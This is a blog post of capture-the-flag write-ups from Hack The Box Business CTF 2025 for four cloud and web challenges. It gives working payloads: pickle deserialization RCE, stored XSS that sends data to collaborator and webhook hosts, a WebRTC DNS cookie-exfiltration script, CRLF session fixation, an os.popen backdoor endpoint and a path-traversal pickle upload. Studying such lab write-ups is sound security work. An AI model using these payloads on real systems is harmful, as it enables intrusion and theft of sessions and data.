Post

Hack The Box - Business CTF 2025 Writeups

Hack The Box - Business CTF 2025 Writeups

I recently participated with my colleagues at PayPal in the Hack The Box Business CTF - Global Cyber Skills Benchmark CTF 2025 - Operation Blackout. We managed to capture 74 out of 103 flags. I decided to write up some of the interesting challenges I solved.


Cloud - TowerDump

Running gobuster on the target IP address revealed the /code directory, which had an exposed .git folder.

I dumped the source code using git-dumper. The dumped code contained a Lambda function vulnerable to pickle deserialization.

To retrieve the flag, I used the following Python script to generate a pickle payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import pickle
import base64
import subprocess
import urllib.request

class Exploit:
    def __reduce__(self):
        return (
            exec,
            ('''
import subprocess, urllib.request

# Run command
cmd = subprocess.check_output(["ls -lah /"], stderr=subprocess.STDOUT).decode()

# Prepare request
req = urllib.request.Request(
    "http://x31y43g79xw21x60bbwb2uh31u7lvnjc.oastify.com",
    data=cmd.encode(),
    headers={"Content-Type": "text/plain"},
    method="POST"
)

# Send the data
urllib.request.urlopen(req)
''',)
        )

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()

print({
    "pickled": True,
    "data": encoded
})

Web - Volnaya Forums

The application is NextJS-based (TypeScript), and we have full source code access.

Stored XSS

There’s a stored XSS in the bio field of the user profile.

However, it’s just self-XSS at first. We can inject an XSS payload into our profile, but it only triggers for ourselves. The challenge is to make the admin visit our profile.

Authorization Issue

We can actually update the profiles of other users.

Intended Way - CRLF Injection for Session Fixation

While reading the official writeups by HTB, I noticed they never mentioned this authorization bug. Instead, they focused on a CRLF injection caused by Nginx config. This CRLF allows setting a cookie via the URI. Here’s an excerpt from the writeup:

We can see an interesting location block in the Nginx configuration file:

1
2
3
location ~ ^/invite/(?<id>[^?]*)$ {
    return 301 "/?ref=$id";
}

This configuration creates a redirect where any request to /invite/SOMETHING will redirect to /?ref=SOMETHING. The issue here is that the $id variable is directly inserted into the redirect URL without proper sanitization.

This creates a CRLF injection vulnerability because the $id parameter is unsanitized. An attacker can inject CRLF sequences \r\n to add arbitrary HTTP headers by crafting URLs like:

1
/invite/%0D%0ASet-Cookie:%20malicious=cookie%0D%0A

This results in:

1
2
3
HTTP/1.1 301 Moved Permanently
Location: /?ref=
Set-Cookie: malicious=cookie

The vulnerability can be exploited to:

  • Inject malicious cookies
  • Perform cache poisoning
  • Conduct HTTP response splitting

Since a Location header is already present, the browser will follow the redirect. Response splitting can’t be weaponized to perform XSS attacks here.

Attack Path

  1. Update the admin profile and inject a stored XSS payload in the bio field.
  2. Use the report thread feature to report the /profile page, making the admin bot visit his profile.
  3. The XSS runs as admin, hits /api/auth, grabs the flag, and exfiltrates it to Burp Collaborator.

Exploit

Update Admin’s Profile

1
2
3
4
5
6
7
8
POST /api/profile HTTP/1.1
Host: 94.237.122.151:35535
Content-Type: application/json
Accept: */*
Cookie: session=...
Connection: keep-alive

{"username":"admin","email":"[email protected]","bio":"<img src=x onerror=\"fetch('http://127.0.0.1:1337/api/auth').then(r=>r.text()).then(d=>fetch('http://l7tm8rkvdl0q5laofz0z6ilr5ib9z5nu.oastify.com/test',{method:'POST',headers:{'Content-Type':'text/plain'},body:JSON.stringify({data:d})}))\">"}

Report Profile Page

1
2
3
4
5
6
7
8
POST /api/report HTTP/1.1
Host: 94.237.122.151:35535
Content-Type: application/json
Accept: */*
Cookie: session=...
Connection: keep-alive

{"postThread":"/profile","reason":"blah"}

In the official writeup, the URI reported to the admin included CRLF to overwrite the user’s session cookie, then exploited the /invite endpoint’s redirect.

1
/invite/aaa%0D%0ASet-Cookie:%20session=ATTACKER_SESSION;%20Path=/api/profile

Receive Flag

Check Burp Collaborator to see the flag.

Web - Blackout Ops

This is an Express.js application using GraphQL. We have the JavaScript source.

File Extension Spoofing - lua-resty-multipart-parser

The Nginx config uses lua-resty-multipart-parser to validate uploaded file extensions.

But this parser is quite old. There’s a public GitHub issue showing how to bypass the extension check.

GraphQL Mutation - submitIncidentReport

We can make the admin visit arbitrary URLs by submitting incident reports via GraphQL, but we have to be a verified user.

GraphQL Mutation - register - Verification Bypass

The register mutation returns the invite code in the response if we include the inviteCode field in the GraphQL request. This allows us to verify our account easily.

Attack Path

  1. Register an account and extract the invite code from the response to verify.
  2. Bypass lua-resty-multipart-parser to upload an HTML file with the XSS payload.
  3. Use the submitIncidentReport mutation to make the admin check our uploaded XSS file.
  4. XSS triggers as admin, visits /admin, exfiltrates the flag to our Burp Collaborator endpoint.

Exploit

Verify Account

Upload HTML File - Bypass File Extension Check

Upload an HTML file containing the XSS payload. The bypass uses the trick shown in the GitHub issue.

In the official writeup, they uploaded an SVG file as the XSS payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400">
  <script type="text/javascript">
    // Fetch the admin dashboard and exfiltrate via webhook
    fetch('/admin')
      .then(res => res.text())
      .then(html =>
        fetch('https://webhook.site/your-unique-id', {
          method: 'POST',
          body: btoa(html)
        })
      );
  </script>
</svg>

Force the Admin to Check the Uploaded File

Receive Flag

Check Burp Collaborator for the flag.

Web - QuickBlog

This is a Python blogging application running on a cherrypy web server.

Users can create blog posts in markdown, rendered to HTML on the client side via custom JS in markdown2html.js.

Stored XSS

Looking at markdown2html.js, I found a tricky XSS in the code block’s markdown, specifically using attributes on the pre tag.

This means we can create blog posts with XSS payloads.

The admin bot checks the blog posts every minute.

Admin - Arbitrary File Uploads

The admin can upload/overwrite files at any location.

But uploads can’t be done from localhost, so our XSS can’t use this directly. We need to steal the admin’s cookies instead.

Restrictions

There are several restrictions that make this harder:

  1. There’s a strong Content-Security-Policy, so the XSS can’t make external requests.

  2. No data can be exfiltrated externally due to a fake HTTP proxy in the container.

We need to use the application’s own features to leak the admin’s cookie.

While testing, I noticed I could make the XSS payload force the admin to create a new blog post, with the cookies as the post content. But there’s another filter: the admin can’t create blog posts.

Attack Path

We can bypass this by setting a session cookie for our own user in the XSS payload. The payload will grab the admin’s cookie, overwrite the cookie to our user session, and create a blog post as our user—posting the admin’s cookie in the content.

Once we have the admin’s cookie, we can login as admin, upload a malicious app.py, and force a reload. CherryPy reloads updated files by default if not disabled.

Exploit

Stored XSS

Here’s a stored XSS payload that steals the admin’s cookie, switches to our session (using session_id=743033a65e1b6db7dcd482fd49a73b8a3f8523c8;path=/), and creates a blog post with the admin cookie as its content:

1
s=document.cookie;document.cookie='session_id=743033a65e1b6db7dcd482fd49a73b8a3f8523c8;path=/';fetch('http://127.0.0.1:1337/new_post',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'title=test&content='+btoa(s)});

For the pre tag injection, it needs some encoding:

1
2
3
4
5
test
```mk'between' onfocus="eval('\u0073\u003d\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u003b\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u003d\u0027\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u005f\u0069\u0064\u003d\u0037\u0034\u0033\u0030\u0033\u0033\u0061\u0036\u0035\u0065\u0031\u0062\u0036\u0064\u0062\u0037\u0064\u0063\u0064\u0034\u0038\u0032\u0066\u0064\u0034\u0039\u0061\u0037\u0033\u0062\u0038\u0061\u0033\u0066\u0038\u0035\u0032\u0033\u0063\u0038\u003b\u0070\u0061\u0074\u0068\u003d\u002f\u0027\u003b\u0066\u0065\u0074\u0063\u0068\u0028\u0027\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0031\u0032\u0037\u002e\u0030\u002e\u0030\u002e\u0031\u003a\u0031\u0033\u0033\u0037\u002f\u006e\u0065\u0077\u005f\u0070\u006f\u0073\u0074\u0027\u002c\u007b\u006d\u0065\u0074\u0068\u006f\u0064\u003a\u0027\u0050\u004f\u0053\u0054\u0027\u002c\u0068\u0065\u0061\u0064\u0065\u0072\u0073\u003a\u007b\u0027\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0054\u0079\u0070\u0065\u0027\u003a\u0027\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002f\u0078\u002d\u0077\u0077\u0077\u002d\u0066\u006f\u0072\u006d\u002d\u0075\u0072\u006c\u0065\u006e\u0063\u006f\u0064\u0065\u0064\u0027\u007d\u002c\u0062\u006f\u0064\u0079\u003a\u0027\u0074\u0069\u0074\u006c\u0065\u003d\u0074\u0065\u0073\u0074\u0026\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u003d\u0027\u002b\u0062\u0074\u006f\u0061\u0028\u0073\u0029\u007d\u0029\u003b')" autofocus tabindex=1 '

asd
```

I encoded the payload using this snippet:

1
2
3
const input = `s=document.cookie;document.cookie='session_id=743033a65e1b6db7dcd482fd49a73b8a3f8523c8;path=/';fetch('http://127.0.0.1:1337/new_post',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'title=test&content='+btoa(s)});`;
const encoded = [...input].map(c => '\\u' + c.charCodeAt(0).toString(16).padStart(4, '0')).join('');
console.log(encoded);

Remember to base64-encode for use in the blog’s create endpoint.

After execution, you should see a new blog post with the admin’s cookie.

The official writeup took a different approach. Instead of creating a blog post with the admin’s cookie, they exfiltrated the cookie over DNS. Here’s the excerpt from the official writeup.

So now that we have got a valid XSS, we need to construct a stable payload that will allow us to exfiltrate the admin cookie that is used in the admin bot. Normally we would be able to do something like window.location='http://attacker.com/?c='+document.cookie, however, there is a problem with that.

Going back to the Dockerfile, we see the env variables for HTTP proxying are set. This means that any HTTP request made by the admin bot will use http://127.0.0.1:9999 as a proxy, but since that port has nothing running on it the request will simply fail, so it is impossible to use HTTP for exfiltration on the remote instance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function convertToHex(str) {
    var hex = "";
    for (var i = 0; i < str.length; i++) {
        hex += str.charCodeAt(i).toString(16);
    }
    return hex;
}

function leakCookieViaRTC(domain, cookie) {
    var sectionLength = Math.ceil(cookie.length / 2);
    for (var i = 0; i < 2; i++) {
        var section = cookie.slice(i * sectionLength, (i + 1) * sectionLength);
        if (section) {
            var hexSection = convertToHex(section);
            var p = new RTCPeerConnection({
                iceServers: [{
                    urls: `stun:${hexSection}.${domain}`
                }]
            });

            p.createDataChannel("d");
            p.setLocalDescription();
        }
    }
}

leakCookieViaRTC("attacker-dns.com", document.cookie);

This is a JavaScript payload we can use to encode the cookie to hex (valid DNS address characters), split it in two parts (because the session cookie encoded is too big for a domain name), and then make a DNS request that contains our cookie to an attacker-defined domain. This is done using the (now) native JavaScript class RTCPeerConnection that is normally used for RTC communication, but it can be abused as a side channel to leak data via DNS.

However, we need to encode this payload in order to add it to our parser XSS. Normally, we could convert it to base64 and then decode it with atob and execute it with eval, but the issue with this is that all of our input is converted to lowercase, so any uppercase character that is part of the encoded string would get corrupted.

What we can do in this case is convert the payload to an embedded JavaScript hex string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def to_ascii_codes(string):
    return "".join(str(hex(ord(c))) for c in string).replace("0x", "\\x").replace("\\xa","\\x0a")

def xss():
    leak_cookie = f"""
    function convertToHex(str)  {{
        var hex = "";
        for (var i = 0; i < str.length; i++) {{
            hex += str.charCodeAt(i).toString(16);
        }}
        return hex;
    }}

    function leakCookieViaRTC(domain, cookie) {{
        var sectionLength = Math.ceil(cookie.length / 2);
        for (var i = 0; i < 2; i++) {{
            var section = cookie.slice(i * sectionLength, (i + 1) * sectionLength);
            if (section) {{
                var hexSection = convertToHex(section);
                var p = new RTCPeerConnection({{
                    iceServers: [{{
                        urls: `stun:${{hexSection}}.${{domain}}`
                    }}]
                }});

                p.createDataChannel("d");
                p.setLocalDescription();
            }}
        }}
    }}

    leakCookieViaRTC("{EXFIL_HOST}", document.cookie);
    """
    encoded = to_ascii_codes(leak_cookie)
    parser_xss = f"```json' autofocus tabindex=1 onfocus=eval('{encoded}');//\na\n```"
    return parser_xss

print(xss())

This Python script creates the payload we need, so after creating a post with the malicious markdown we simply wait for the bot to visit the blog, and then we receive the session cookie in two DNS requests, which we then decode from hex, and we have the admin cookie. We also add // at the end so the format doesn’t break by the parser.

1
2
3
```json' autofocus tabindex=1 onfocus=eval('\x0a\x20\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x63\x6f\x6e\x76\x65\x72\x74\x54\x6f\x48\x65\x78\x28\x73\x74\x72\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x76\x61\x72\x20\x68\x65\x78\x20\x3d\x20\x22\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x20\x3d\x20\x30\x3b\x20\x69\x20\x3c\x20\x73\x74\x72\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x2b\x2b\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x68\x65\x78\x20\x2b\x3d\x20\x73\x74\x72\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x69\x29\x2e\x74\x6f\x53\x74\x72\x69\x6e\x67\x28\x31\x36\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x68\x65\x78\x3b\x0a\x20\x20\x20\x20\x7d\x0a\x0a\x20\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x6c\x65\x61\x6b\x43\x6f\x6f\x6b\x69\x65\x56\x69\x61\x52\x54\x43\x28\x64\x6f\x6d\x61\x69\x6e\x2c\x20\x63\x6f\x6f\x6b\x69\x65\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x76\x61\x72\x20\x73\x65\x63\x74\x69\x6f\x6e\x4c\x65\x6e\x67\x74\x68\x20\x3d\x20\x4d\x61\x74\x68\x2e\x63\x65\x69\x6c\x28\x63\x6f\x6f\x6b\x69\x65\x2e\x6c\x65\x6e\x67\x74\x68\x20\x2f\x20\x32\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x20\x3d\x20\x30\x3b\x20\x69\x20\x3c\x20\x32\x3b\x20\x69\x2b\x2b\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x76\x61\x72\x20\x73\x65\x63\x74\x69\x6f\x6e\x20\x3d\x20\x63\x6f\x6f\x6b\x69\x65\x2e\x73\x6c\x69\x63\x65\x28\x69\x20\x2a\x20\x73\x65\x63\x74\x69\x6f\x6e\x4c\x65\x6e\x67\x74\x68\x2c\x20\x28\x69\x20\x2b\x20\x31\x29\x20\x2a\x20\x73\x65\x63\x74\x69\x6f\x6e\x4c\x65\x6e\x67\x74\x68\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x73\x65\x63\x74\x69\x6f\x6e\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x76\x61\x72\x20\x68\x65\x78\x53\x65\x63\x74\x69\x6f\x6e\x20\x3d\x20\x63\x6f\x6e\x76\x65\x72\x74\x54\x6f\x48\x65\x78\x28\x73\x65\x63\x74\x69\x6f\x6e\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x76\x61\x72\x20\x70\x20\x3d\x20\x6e\x65\x77\x20\x52\x54\x43\x50\x65\x65\x72\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x28\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x63\x65\x53\x65\x72\x76\x65\x72\x73\x3a\x20\x5b\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x75\x72\x6c\x73\x3a\x20\x60\x73\x74\x75\x6e\x3a\x24\x7b\x68\x65\x78\x53\x65\x63\x74\x69\x6f\x6e\x7d\x2e\x24\x7b\x64\x6f\x6d\x61\x69\x6e\x7d\x60\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x5d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x29\x3b\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x2e\x63\x72\x65\x61\x74\x65\x44\x61\x74\x61\x43\x68\x61\x6e\x6e\x65\x6c\x28\x22\x64\x22\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x2e\x73\x65\x74\x4c\x6f\x63\x61\x6c\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x28\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x7d\x0a\x0a\x20\x20\x20\x20\x6c\x65\x61\x6b\x43\x6f\x6f\x6b\x69\x65\x56\x69\x61\x52\x54\x43\x28\x22\x61\x74\x74\x61\x63\x6b\x65\x72\x2d\x64\x6e\x73\x2e\x63\x6f\x6d\x22\x2c\x20\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x29\x3b\x0a\x20\x20\x20\x20');//
a
`` `

The writeup used the https://webhook.site/ service for DNS callbacks.

File Upload

Once logged in as admin, we can use the file upload feature.

To create a malicious version of app.py, I simply added a new function to the original app.py.

1
2
3
4
@cherrypy.expose
def makman(self, command=None):
    output = os.popen(command).read()
    return self.render_template(output)

This will let me execute commands like /makman?command=cat /flag*.

For the file upload request, we need to add ../ to our file name to make sure that it replaces the original app.py.

Once the file is uploaded, we can retrieve the flag.

Official Writeup - Exploiting CherryPy File Sessions

Instead of replacing app.py, the official writeup exploited a pickle deserialization in CherryPy’s session functionality. Here’s the excerpt from the official writeup.

In normal situations, we would be able to overwrite the web app’s template files in order to cause SSTI and then get RCE through that, but in our situation, no templating engine is used and all the HTML is rendered directly through app.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
config = {
    '/': {
        'tools.sessions.on': True,
        'tools.sessions.storage_type': 'file',
        'tools.sessions.storage_path': sessions_folder,
        'tools.response_headers.on': True,
        'tools.response_headers.headers': [
            ('Content-Security-Policy', "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self'; img-src 'self'; connect-src 'self';")
        ],
    },
    '/static': {
        'tools.staticdir.on': True,
        'tools.staticdir.dir': static_dir,
    },
    '/uploads': {
        'tools.staticdir.on': True,
        'tools.staticdir.dir': uploads_dir,
    }
}

In our config, we are setting the sessions to file mode and we are also setting the session folder. Let’s have a deeper look into how CherryPy works in order to see how its sessions work.

https://github.com/cherrypy/cherrypy/blob/main/cherrypy/lib/sessions.py

At line 559 in the FileSession class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def _load(self, path=None):
    assert self.locked, (
        "The session load without being locked.  "
        "Check your tools' priority levels."
    )
    if path is None:
        path = self._get_file_path()
    try:
        with open(path, "rb") as f:
            return pickle.load(f)
    except (IOError, EOFError):
        e = sys.exc_info()[1]
        if self.debug:
            cherrypy.log(
                "Error loading the session pickle: %s" % e, "TOOLS.SESSIONS"
            )
        return None

When the session data is loaded, we can see that the notoriously unsafe pickle.load function is used.

1
2
3
4
5
6
7
/app # xxd /app/sessions/session-443e63207b31673160f69df5ba5666851159013d
00000000: 8005 9547 0000 0000 0000 007d 948c 0875  ...G.......}...u
00000010: 7365 726e 616d 6594 8c0a 6164 6d69 6e5f  sername...admin_
00000020: 7573 6572 9473 8c08 6461 7465 7469 6d65  user.s..datetime
00000030: 948c 0864 6174 6574 696d 6594 9394 430a  ...datetime...C.
00000040: 07e9 0105 0e39 0100 3baa 9485 9452 9486  .....9..;....R..
00000050: 942e                                     ..

By checking the content of a file inside the sessions folder we defined, we confirm that Python pickles are used by the magic bytes 8005. And since we can overwrite these files, it is possible for us to add an arbitrary pickle RCE payload.

1
2
3
4
5
def _get_file_path(self):
    f = os.path.join(self.storage_path, self.SESSION_PREFIX + self.id)
    if not os.path.abspath(f).startswith(self.storage_path):
        raise cherrypy.HTTPError(400, 'Invalid session id in cookie.')
    return f

At line 536 in cherrypy/lib/sessions.py, the _get_file_path function is used to get the path of a session file using self.id, which is derived from the session_id cookie.

A check is implemented that prevents traversing out of the session folder absolute path, but it is not enough to protect from relative path traversal, so RCE can be caused by uploading a file named with the session-example prefix that includes a malicious pickle, and then setting the session_id cookie to the part after the prefix.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests, pickle, io, os

HOST, PORT = "127.0.0.1", 1337
CHALLENGE_URL = f"http://{HOST}:{PORT}"
ADMIN_SESSION = "session-id-exfiltrated-from-dns"

class PickleRCE(object):
    def __reduce__(self):
        return (os.system,("/readflag > /app/static/flag.txt",))

payload = pickle.dumps(PickleRCE())
pickle_file = io.BytesIO(payload)
pickle_file.name = "../../../app/sessions/session-injected"
files = {
    "file": (pickle_file.name, pickle_file, "application/octet-stream")
}
cookie_data = {
    "session_id": ADMIN_SESSION
}
requests.post(f"{CHALLENGE_URL}/upload_file", cookies=cookie_data, files=files)
cookie_data = {
    "session_id": "injected"
}
requests.post(f"{CHALLENGE_URL}/admin", cookies=cookie_data)

A script like this will cause an error in CherryPy’s session code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[05/Jan/2025:14:17:25] HTTP 
Traceback (most recent call last):
  File "/usr/local/lib/python3.11/site-packages/cherrypy/_cprequest.py", line 659, in respond
    self._do_respond(path_info)
  File "/usr/local/lib/python3.11/site-packages/cherrypy/_cprequest.py", line 718, in _do_respond
    response.body = self.handler()
                    ^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/site-packages/cherrypy/lib/encoding.py", line 223, in __call__
    self.body = self.oldhandler(*args, **kwargs)
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/site-packages/cherrypy/_cpdispatch.py", line 54, in __call__
    return self.callable(*self.args, **self.kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/app/app.py", line 88, in admin
    username = cherrypy.session.get('username')
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/site-packages/cherrypy/lib/sessions.py", line 362, in get
    self.load()
  File "/usr/local/lib/python3.11/site-packages/cherrypy/lib/sessions.py", line 287, in load
    if data is None or data[1] < self.now():
                       ~~~~^^^
TypeError: 'int' object is not subscriptable
[05/Jan/2025:14:17:25] HTTP 
Request Headers:
  Remote-Addr: 172.17.0.1
  HOST: 127.0.0.1:1337
  USER-AGENT: python-requests/2.25.1
  ACCEPT-ENCODING: gzip, deflate
  ACCEPT: */*
  CONNECTION: keep-alive
  COOKIE: session_id=injected
  Content-Length: 0

However, it will also trigger the RCE, which causes the flag file to be moved to a static folder we can access.